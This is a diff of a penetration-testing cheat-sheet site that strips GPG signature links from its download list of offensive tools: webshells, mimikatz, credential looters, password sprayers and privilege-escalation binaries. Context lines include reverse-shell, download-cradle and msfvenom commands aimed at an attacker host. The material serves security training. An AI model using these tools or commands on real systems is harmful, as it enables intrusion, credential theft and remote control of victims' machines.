-| [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc)) | PHP hosts | PHP webshell | [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
-| [targetedKerberoast.py](/downloads/pentest-workflow/targetedKerberoast.py) ([SHA-256](/downloads/pentest-workflow/targetedKerberoast.py.sha256) · [GPG signature](/downloads/pentest-workflow/targetedKerberoast.py.sha256.asc)) | Linux | Targeted kerberoast — set an SPN on a GenericWrite target | [Stage 06](/sheets/pentest-workflow/acl-and-object-abuse) |
-| [winPEASany.exe](/downloads/pentest-workflow/winPEASany.exe) ([SHA-256](/downloads/pentest-workflow/winPEASany.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASany.exe.sha256.asc)) | Windows (any arch) | WinPEAS — Windows privesc enumeration | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc)) | Windows (x64) | WinPEAS — Windows privesc enumeration | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [ysoserial-all.jar](/downloads/pentest-workflow/ysoserial-all.jar) ([SHA-256](/downloads/pentest-workflow/ysoserial-all.jar.sha256) · [GPG signature](/downloads/pentest-workflow/ysoserial-all.jar.sha256.asc)) | Java | ysoserial — Java deserialization payloads | [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
-| [ysoserial.net_v1.36.zip](/downloads/pentest-workflow/ysoserial.net_v1.36.zip) ([SHA-256](/downloads/pentest-workflow/ysoserial.net_v1.36.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ysoserial.net_v1.36.zip.sha256.asc)) | Windows | ysoserial.net — .NET deserialization payloads | [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
+| [Certify.exe](/downloads/pentest-workflow/Certify.exe) ([SHA-256](/downloads/pentest-workflow/Certify.exe.sha256)) | Windows | GhostPack Certify — on-host ADCS enumeration/abuse (ESC paths) | [Stage 07](/sheets/pentest-workflow/adcs-and-certificate-abuse) |
+| [Go365_linux_amd64.tar.gz](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz.sha256)) | Linux | Go365 — Office 365 password spraying | [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) |
+| [GodPotato-NET35.exe](/downloads/pentest-workflow/GodPotato-NET35.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256)) | Windows (.NET 3.5) | SeImpersonate → SYSTEM (works with Spooler disabled) | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256)) | Windows (.NET 4.x) | SeImpersonate → SYSTEM (works with Spooler disabled) | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [Inveigh.ps1](/downloads/pentest-workflow/Inveigh.ps1) ([SHA-256](/downloads/pentest-workflow/Inveigh.ps1.sha256)) | Windows | LLMNR/NBNS/mDNS spoofing + NTLM capture (Windows-side Responder) | [Stage 03](/sheets/pentest-workflow/service-enumeration) |
+| [JuicyPotato.exe](/downloads/pentest-workflow/JuicyPotato.exe) ([SHA-256](/downloads/pentest-workflow/JuicyPotato.exe.sha256)) | Windows | SeImpersonate privesc (pre-Server 2019 / Win10 1809) | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256)) | Windows | Local credential looting (browsers, mail, Wi-Fi, etc.) | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
+| [MSOLSpray.ps1](/downloads/pentest-workflow/MSOLSpray.ps1) ([SHA-256](/downloads/pentest-workflow/MSOLSpray.ps1.sha256)) | Windows | Azure AD / O365 password spraying | [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) |
+| [PetitPotam.py](/downloads/pentest-workflow/PetitPotam.py) ([SHA-256](/downloads/pentest-workflow/PetitPotam.py.sha256)) | Linux | EFS RPC NTLM coercion (ESC8 prerequisite) | [Stage 07](/sheets/pentest-workflow/adcs-and-certificate-abuse) |
+| [PowerUp.ps1](/downloads/pentest-workflow/PowerUp.ps1) ([SHA-256](/downloads/pentest-workflow/PowerUp.ps1.sha256)) | Windows | PowerSploit PowerUp — Windows privesc misconfig checks | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256)) | Windows | PowerSploit PowerView — AD enumeration | [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) |
+| [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256)) | Windows | SeImpersonate → SYSTEM via named pipe (needs Spooler) | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [PrivescCheck.ps1](/downloads/pentest-workflow/PrivescCheck.ps1) ([SHA-256](/downloads/pentest-workflow/PrivescCheck.ps1.sha256)) | Windows | PrivescCheck — PowerShell Windows privesc enumeration | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256)) | Windows | GhostPack Rubeus — Kerberos abuse (roast, tickets, delegation) | [Stage 05](/sheets/pentest-workflow/kerberos-attacks) |
+| [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) | Any | Integrity record for every file in `attachments/` | This dashboard |
+| [Seatbelt.exe](/downloads/pentest-workflow/Seatbelt.exe) ([SHA-256](/downloads/pentest-workflow/Seatbelt.exe.sha256)) | Windows | GhostPack Seatbelt — host situational awareness | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256)) | Windows | GhostPack SharpDPAPI — DPAPI masterkey/blob abuse | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
+| [SharpHound.zip](/downloads/pentest-workflow/SharpHound.zip) ([SHA-256](/downloads/pentest-workflow/SharpHound.zip.sha256)) | Windows | SharpHound collector (exe + ps1) for BloodHound CE | [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) |
+| [SharpUp.exe](/downloads/pentest-workflow/SharpUp.exe) ([SHA-256](/downloads/pentest-workflow/SharpUp.exe.sha256)) | Windows | GhostPack SharpUp — privesc misconfig checks (C#) | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [SharpView.exe](/downloads/pentest-workflow/SharpView.exe) ([SHA-256](/downloads/pentest-workflow/SharpView.exe.sha256)) | Windows | SharpView — C# port of PowerView | [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) |
+| [SharpWMI.exe](/downloads/pentest-workflow/SharpWMI.exe) ([SHA-256](/downloads/pentest-workflow/SharpWMI.exe.sha256)) | Windows | GhostPack SharpWMI — WMI lateral movement | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
+| [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256)) | Windows | Snaffler — hunt creds in domain shares | [Stage 03](/sheets/pentest-workflow/service-enumeration) |
+| [StandIn_v13_Net35_45.zip](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip) ([SHA-256](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256)) | Windows | StandIn — AD object/ACE manipulation from Windows | [Stage 06](/sheets/pentest-workflow/acl-and-object-abuse) |
+| [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256)) | Windows | Potato combo (PrintSpoofer + Rotten + EfsRpc) | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [Whisker.exe](/downloads/pentest-workflow/Whisker.exe) ([SHA-256](/downloads/pentest-workflow/Whisker.exe.sha256)) | Windows | Shadow Credentials (msDS-KeyCredentialLink) from Windows | [Stage 06](/sheets/pentest-workflow/acl-and-object-abuse) |
+| [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256)) | Windows | chisel — TCP/UDP tunneling over HTTP | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
+| [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256)) | Linux | chisel — TCP/UDP tunneling over HTTP | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
+| [donut_v1.1.zip](/downloads/pentest-workflow/donut_v1.1.zip) ([SHA-256](/downloads/pentest-workflow/donut_v1.1.zip.sha256)) | Cross | donut — PE/DLL/EXE → position-independent shellcode | [Foothold — Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) |
+| [fscan_windows_x64.exe](/downloads/pentest-workflow/fscan_windows_x64.exe) ([SHA-256](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256)) | Windows | fscan — internal all-in-one scanner (ports, services, creds) | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
+| [gowitness_linux_amd64](/downloads/pentest-workflow/gowitness_linux_amd64) ([SHA-256](/downloads/pentest-workflow/gowitness_linux_amd64.sha256)) | Linux | gowitness — bulk web screenshotting | [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
+| [gowitness_windows_amd64.exe](/downloads/pentest-workflow/gowitness_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/gowitness_windows_amd64.exe.sha256)) | Windows | gowitness — bulk web screenshotting | [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
+| [jaws-enum.ps1](/downloads/pentest-workflow/jaws-enum.ps1) ([SHA-256](/downloads/pentest-workflow/jaws-enum.ps1.sha256)) | Windows | JAWS — Windows privesc enumeration script | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256)) | Linux | kerbrute — Kerberos user enum + spray | [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) |
+| [kerbrute_windows_amd64.exe](/downloads/pentest-workflow/kerbrute_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256)) | Windows | kerbrute — Kerberos user enum + spray | [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) |
+| [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256)) | Linux | ligolo-ng agent — TUN-based pivoting | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
+| [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256)) | Windows | ligolo-ng agent — TUN-based pivoting | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
+| [linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256)) | Linux | LinPEAS — Linux privesc enumeration | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [linpeas_linux_amd64](/downloads/pentest-workflow/linpeas_linux_amd64) ([SHA-256](/downloads/pentest-workflow/linpeas_linux_amd64.sha256)) | Linux | LinPEAS binary build | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256)) | Windows | mimikatz — credential extraction, tickets, DCSync | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
+| [nc64.exe](/downloads/pentest-workflow/nc64.exe) ([SHA-256](/downloads/pentest-workflow/nc64.exe.sha256)) | Windows | netcat for Windows — shells, transfers, listeners | [Foothold — Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) |
+| [nishang-master.zip](/downloads/pentest-workflow/nishang-master.zip) ([SHA-256](/downloads/pentest-workflow/nishang-master.zip.sha256)) | Windows | Nishang — offensive PowerShell toolkit | [Foothold — Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) |
+| [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256)) | IIS / ASPX | Custom C# ASPX webshell for IIS targets | [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
+| [pspy32](/downloads/pentest-workflow/pspy32) ([SHA-256](/downloads/pentest-workflow/pspy32.sha256)) | Linux (x86) | pspy — unprivileged process/cron monitor | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256)) | Linux (x64) | pspy — unprivileged process/cron monitor | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256)) | IIS / ASP | Classic ASP webshell | [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
+| [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256)) | Java app servers | JSP webshell (Tomcat, JBoss, etc.) | [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
+| [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256)) | PHP hosts | PHP webshell | [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
+| [targetedKerberoast.py](/downloads/pentest-workflow/targetedKerberoast.py) ([SHA-256](/downloads/pentest-workflow/targetedKerberoast.py.sha256)) | Linux | Targeted kerberoast — set an SPN on a GenericWrite target | [Stage 06](/sheets/pentest-workflow/acl-and-object-abuse) |
+| [winPEASany.exe](/downloads/pentest-workflow/winPEASany.exe) ([SHA-256](/downloads/pentest-workflow/winPEASany.exe.sha256)) | Windows (any arch) | WinPEAS — Windows privesc enumeration | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256)) | Windows (x64) | WinPEAS — Windows privesc enumeration | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [ysoserial-all.jar](/downloads/pentest-workflow/ysoserial-all.jar) ([SHA-256](/downloads/pentest-workflow/ysoserial-all.jar.sha256)) | Java | ysoserial — Java deserialization payloads | [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
+| [ysoserial.net_v1.36.zip](/downloads/pentest-workflow/ysoserial.net_v1.36.zip) ([SHA-256](/downloads/pentest-workflow/ysoserial.net_v1.36.zip.sha256)) | Windows | ysoserial.net — .NET deserialization payloads | [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
 
 > [!tip] Where to stage from
 > Serve the whole folder from your attack box with `python3 -m http.server 8000 --directory attachments` or [updog](https://github.com/sc0tfree/updog), then pull with `certutil -urlcache -split -f http://$LHOST:8000/<file>` or `iwr` — transfer recipes in [Foothold Toolkit — File Transfers](/sheets/pentest-workflow/foothold-file-transfers).

src/content/sheets/pentest-workflow/documentation-and-reporting.md

@@ -108,7 +108,7 @@ asciinema rec finding-03-sqli.cast            # asciinema play finding-03-sqli.c
   ```
 
 > [!tools] Stage this
-> [gowitness_linux_amd64](/downloads/pentest-workflow/gowitness_linux_amd64) ([SHA-256](/downloads/pentest-workflow/gowitness_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/gowitness_linux_amd64.sha256.asc))
+> [gowitness_linux_amd64](/downloads/pentest-workflow/gowitness_linux_amd64) ([SHA-256](/downloads/pentest-workflow/gowitness_linux_amd64.sha256))
 
 **Evidence pair standard** — pair every exploit request with a *normal baseline* so the causal change is visible. This is what makes a finding reproducible by the client's team (and what CPTS graders look for):
 

src/content/sheets/pentest-workflow/domain-trusts-and-cross-forest.md

@@ -149,7 +149,7 @@ dir \\parent-dc.$DOMAIN\C$
 ```
 
 > [!tools] Stage this
-> [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc))
+> [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256))
 
 > [!warning] Watch out
 > - `-extra-sid` / `/sids` must be the **parent's** domain SID + `-519` (Enterprise Admins), not the child's — the most common botched forge. Get the parent SID with `lookupsid.py` against a parent DC, don't guess.

src/content/sheets/pentest-workflow/foothold-file-transfers.md

@@ -35,9 +35,9 @@ Got a foothold (web shell, `nc` callback, RCE one-liner) and now need to drag to
 > Always `md5sum`/`Get-FileHash` both ends after a paste or a flaky channel — copy-paste corruption and ASCII-mode FTP mangling are silent.
 
 > [!tools] Stage this (from `attachments/`)
-> [nc64.exe](/downloads/pentest-workflow/nc64.exe) ([SHA-256](/downloads/pentest-workflow/nc64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/nc64.exe.sha256.asc))
+> [nc64.exe](/downloads/pentest-workflow/nc64.exe) ([SHA-256](/downloads/pentest-workflow/nc64.exe.sha256))
 > Windows-side netcat for the raw-socket transfer and reverse-shell patterns below. Verify against the vault integrity record before staging anything onto a target:
-> [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) ([GPG signature](/downloads/pentest-workflow/SHA256SUMS.asc))
+> [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS)
 > SHA256-verify every staged binary: `sha256sum -c SHA256SUMS.txt --ignore-missing` on the attack box, `Get-FileHash -Algorithm SHA256` on Windows targets. A corrupted `nc64.exe` transfer wastes a shell; a tampered one burns the op.
 
 ---

src/content/sheets/pentest-workflow/foothold-shells-payloads-metasploit.md

@@ -128,7 +128,7 @@ Invoke-PowerShellTcp -Reverse -IPAddress $LHOST -Port 443
 ```
 
 > [!tools] Stage this (from `attachments/`)
-> [nishang-master.zip](/downloads/pentest-workflow/nishang-master.zip) ([SHA-256](/downloads/pentest-workflow/nishang-master.zip.sha256) · [GPG signature](/downloads/pentest-workflow/nishang-master.zip.sha256.asc))
+> [nishang-master.zip](/downloads/pentest-workflow/nishang-master.zip) ([SHA-256](/downloads/pentest-workflow/nishang-master.zip.sha256))
 > [Nishang](https://github.com/samratashok/nishang) — offensive PowerShell toolkit; `Shells/Invoke-PowerShellTcp.ps1` is the reliable Windows reverse/bind shell family (`Invoke-PowerShellTcp`, `-Reverse`/`-Bind`, plus UDP and ICMP variants). Unzip, serve the single `.ps1` over HTTP, cradle it with `IEX (New-Object Net.WebClient).DownloadString(...)` — no need to paste the giant one-liner by hand. Siblings worth knowing in the same `Shells/` folder: `Invoke-PowerShellUdp` (egress that only allows UDP-shaped flows), `Invoke-PoshRatHttp`/`Invoke-PowerShellIcmp` (covert-channel experiments — lab curiosities, loud in practice).
 
 **Delivery pattern (serve → cradle → catch)**
@@ -177,10 +177,10 @@ Invoke-PowerShellTcp -Bind -Port 7777
 **What to look for** → the web technology determines the shell language; the upload path determines whether I browse *to* it or include it. IIS → `.aspx`/`.asp`, Tomcat/Java → `.jsp`/`.war`, Apache/Nginx+PHP → `.php`. The `aspnet_client` folder, `WEB-INF/`, or `.php` in `$_SERVER` tells are the give-aways. Deep dive: 9 - Landing a Web Shell and sibling note 05 - Web Shells - CPTS Cheat Sheet.
 
 > [!tools] Stage this (from `attachments/`)
-> [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc))
-> [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.asp.sha256.asc))
-> [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.jsp.sha256.asc))
-> [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc))
+> [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256))
+> [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256))
+> [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256))
+> [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256))
 > Custom vault webshells per stack — `rp-shell.php` for PHP apps, `rp-shell.asp` for classic-ASP IIS, `rp-shell.jsp` for Tomcat/JSP containers, `nt-webshell-rosepine.aspx` for ASP.NET/IIS. Transfer via the channels in [note 04](/sheets/pentest-workflow/foothold-file-transfers), then browse to the upload path and fire a reverse-shell one-liner from the shell's command box.
 
 > [!note] Language ↔ server mapping (get this right or the shell 404s/500s)
@@ -316,7 +316,7 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f hta-psh -o
 > - **Arch mismatch is a silent killer:** a `windows/x64/...` payload won't stage from a 32-bit process (e.g. older app pools, `SysWOW64` context). When in doubt on legacy IIS/servers, generate x86 — it runs under WOW64 either way.
 
 > [!tools] Stage this (from `attachments/`)
-> [donut_v1.1.zip](/downloads/pentest-workflow/donut_v1.1.zip) ([SHA-256](/downloads/pentest-workflow/donut_v1.1.zip.sha256) · [GPG signature](/downloads/pentest-workflow/donut_v1.1.zip.sha256.asc))
+> [donut_v1.1.zip](/downloads/pentest-workflow/donut_v1.1.zip) ([SHA-256](/downloads/pentest-workflow/donut_v1.1.zip.sha256))
 > [donut](https://github.com/TheWover/donut) — converts PE/DLL/.NET exe → position-independent **shellcode**. Use-case: when the target won't run a raw msfvenom exe (AV signature) but I have a shellcode-injection primitive (an exploit, `CreateRemoteThread` loader, or a C2 that accepts raw shellcode) — bake the tool (e.g. a .NET assembly) into shellcode and inject instead of dropping. Still **not** an AV silver bullet: donut's own loader stub is signatured, so pair it with an injector the environment doesn't already know.
 
 ```bash
@@ -516,10 +516,10 @@ proxychains evil-winrm -i 172.16.5.19 -u "$U" -p "$P"
 **What to look for** → I've pivoted to an internal segment (Stage 10) and now need shells *from those internal hosts* to reach my MSF/nc listeners. The traffic has to ride the tunnel **back** — this is the "callback through the pivot" pattern. Full setup lives in [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot); the shell-side notes here.
 
 > [!tools] Stage this (from `attachments/`)
-> [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc))
-> [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256.asc))
-> [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256) · [GPG signature](/downloads/pentest-workflow/chisel.exe.sha256.asc))
-> [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc))
+> [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256))
+> [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256))
+> [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256))
+> [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256))
 > [ligolo-ng](https://github.com/nicocha30/ligolo-ng) agents (per-OS) for TUN-based L3 pivoting, and [chisel](https://github.com/jpillora/chisel) binaries for TCP/UDP-over-HTTP tunnels + reverse SOCKS.
 
 ```bash

src/content/sheets/pentest-workflow/kerberos-attacks.md

@@ -119,7 +119,7 @@ hashcat -m 19700 kerb.hash /usr/share/wordlists/rockyou.txt
 On-host from Windows I reach for [Rubeus](https://github.com/GhostPack/Rubeus) instead (see Rubeus-Cheatsheet):
 
 > [!tools] Stage this — Rubeus (the Kerberos Swiss army knife)
-> [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Rubeus.exe.sha256.asc))
+> [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256))
 > GhostPack [Rubeus](https://github.com/GhostPack/Rubeus) covers this whole note on-host: `kerberoast`, `asreproast`, `asktgt`, `ptt`, `s4u`, `monitor`, `diamond`, `describe`. Same binary gets reused in every section below.
 
 ```powershell
@@ -200,7 +200,7 @@ Deep dive: 🔴 Attack.
 **What to look for:** I hold `GenericWrite`/`GenericAll` over a user object (from ACL abuse / BloodHound). I set a bogus SPN on it, roast the TGS, then strip the SPN to clean up. This is the standard way to **spend a GenericWrite edge on a user** when I can't reset the password safely.
 
 > [!tools] Stage this — targetedKerberoast
-> [targetedKerberoast.py](/downloads/pentest-workflow/targetedKerberoast.py) ([SHA-256](/downloads/pentest-workflow/targetedKerberoast.py.sha256) · [GPG signature](/downloads/pentest-workflow/targetedKerberoast.py.sha256.asc))
+> [targetedKerberoast.py](/downloads/pentest-workflow/targetedKerberoast.py) ([SHA-256](/downloads/pentest-workflow/targetedKerberoast.py.sha256))
 > Source: [ShutdownRepo/targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast). One-shot: sets a temp SPN via my ACL, requests the TGS, **removes the SPN again**, prints a hashcat-ready hash.
 
 **Exploit / Attack**
@@ -318,7 +318,7 @@ Deep dive: 🔴 Attack.
 Post-DA / forgery territory — needs the `krbtgt` hash (Golden) or a service/computer account hash (Silver) plus the domain SID. **Golden** = forge a TGT (opens everything, KDC-validates it). **Silver** = forge one service's TGS (never touches the KDC — quieter, but only that service on that host).
 
 > [!tools] Stage this — mimikatz (the original ticket forger)
-> [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc))
+> [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256))
 > Source: [gentilkiwi/mimikatz](https://github.com/gentilkiwi/mimikatz). The impacket `ticketer.py` equivalents below are the Linux-side option; mimikatz is the on-host option.
 
 ```bash
@@ -392,7 +392,7 @@ Delegation = a service trusted to request tickets *on behalf of* users. Three fl
 A host trusted for **unconstrained delegation** caches the TGT of every user who authenticates to it. Own the host → dump LSASS → collect TGTs. No users coming? **Coerce** a privileged one.
 
 > [!tools] Stage this — PetitPotam (coerce the DC to authenticate to me)
-> [PetitPotam.py](/downloads/pentest-workflow/PetitPotam.py) ([SHA-256](/downloads/pentest-workflow/PetitPotam.py.sha256) · [GPG signature](/downloads/pentest-workflow/PetitPotam.py.sha256.asc))
+> [PetitPotam.py](/downloads/pentest-workflow/PetitPotam.py) ([SHA-256](/downloads/pentest-workflow/PetitPotam.py.sha256))
